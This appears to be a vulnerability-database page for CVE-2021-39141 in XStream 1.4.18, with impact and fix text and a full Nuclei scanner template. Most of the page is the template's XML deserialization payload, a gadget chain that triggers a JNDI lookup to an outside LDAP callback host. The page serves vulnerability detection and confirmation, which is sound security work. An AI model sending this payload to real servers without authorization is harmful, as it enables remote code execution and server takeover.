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CVE-2021-39141· xstream project / xstream· CWE-434
XStream 1.4.18 - Remote Code Execution
highseverity
8.5CVSS score
16.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Attackers can exploit unsafe deserialization in XStream to execute arbitrary commands on the host, potentially obtaining sensitive information and compromising the entire application server.
Fix
Upgrade XStream to a version that is not affected by CVE-2021-39141.
How to confirm it
Send: POST /
Positive when: contains in interactsh_protocol "dns" AND contains "timestamp" or "com.thoughtworks.xstream" AND contains in header "application/json" AND status 500Run it with nuclei: nuclei -id CVE-2021-39141 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-39141
info:
name: XStream 1.4.18 - Remote Code Execution
author: pwnhxl
severity: high
description: |
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Attackers can exploit unsafe deserialization in XStream to execute arbitrary commands on the host, potentially obtaining sensitive information and compromising the entire application server.
remediation: |
Upgrade XStream to a version that is not affected by CVE-2021-39141.
reference:
- http://x-stream.github.io/CVE-2021-39141.html
- https://x-stream.github.io/CVE-2021-39141.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/CVE-2021-39141
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39141
cwe-id: CWE-434
epss-score: 0.16118
epss-percentile: 0.96952
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve,cve2021,xstream,deserialization,rce,xstream_project,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
<owner/>
<managedObjectManagerClosed>false</managedObjectManagerClosed>
<databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
<stubHandlers>
<entry>
<method>
<class>java.lang.Comparable</class>
<name>compareTo</name>
<parameter-types>
<class>java.lang.Object</class>
</parameter-types>
</method>
<com.sun.xml.internal.ws.client.sei.StubHandler>
<bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
<indices>
<int>0</int>
</indices>
<getters>
<com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
</getters>
<accessors>
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<val_-isJAXBElement>false</val_-isJAXBElement>
<val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
<type>int</type>
<field>
<name>hash</name>
<clazz>java.lang.String</clazz>
</field>
</val_-getter>
<val_-isListType>false</val_-isListType>
<val_-n>
<namespaceURI/>
<localPart>hash</localPart>
<prefix/>
</val_-n>
<val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
<type>java.lang.String</type>
<method>
<class>javax.naming.InitialContext</class>
<name>doLookup</name>
<parameter-types>
<class>java.lang.String</class>
</parameter-types>
</method>
</val_-setter>
<outer-class>
<propertySetters>
<entry>
<string>serialPersistentFields</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[Ljava.io.ObjectStreamField;</type>
<field>
<name>serialPersistentFields</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>java.util.Comparator</type>
<field>
<name>CASE_INSENSITIVE_ORDER</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
<string>serialVersionUID</string>
<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>long</type>
<field>
<name>serialVersionUID</name>
<clazz>java.lang.String</clazz>
</field>
</com.sun.xml.internal.ws.spi.db.FieldSetter>
</entry>
<entry>
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<com.sun.xml.internal.ws.spi.db.FieldSetter>
<type>[C</type>
<field>
<name>value</name>
<clazz>java.lang.String</clazz>
</field>
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<entry>
<string>hash</string>
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<type>int</type>
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</com.sun.xml.internal.ws.spi.db.FieldSetter>
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</com.sun.xml.internal.ws.spi.db.FieldGetter>
</entry>
<entry>
<string>CASE_INSENSITIVE_ORDER</string>
<com.sun.xml.internal.ws.spi.db.FieldGetter>
<type>java.util.Comparator</type>
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</entry>
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<isOneway>false</isOneway>
</com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
</entry>
</methodHandlers>
</handler>
</dynamic-proxy>
<string>ldap://{{interactsh-url}}/#evil</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500References
- http://x-stream.github.io/CVE-2021-39141.html
- https://x-stream.github.io/CVE-2021-39141.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/CVE-2021-39141
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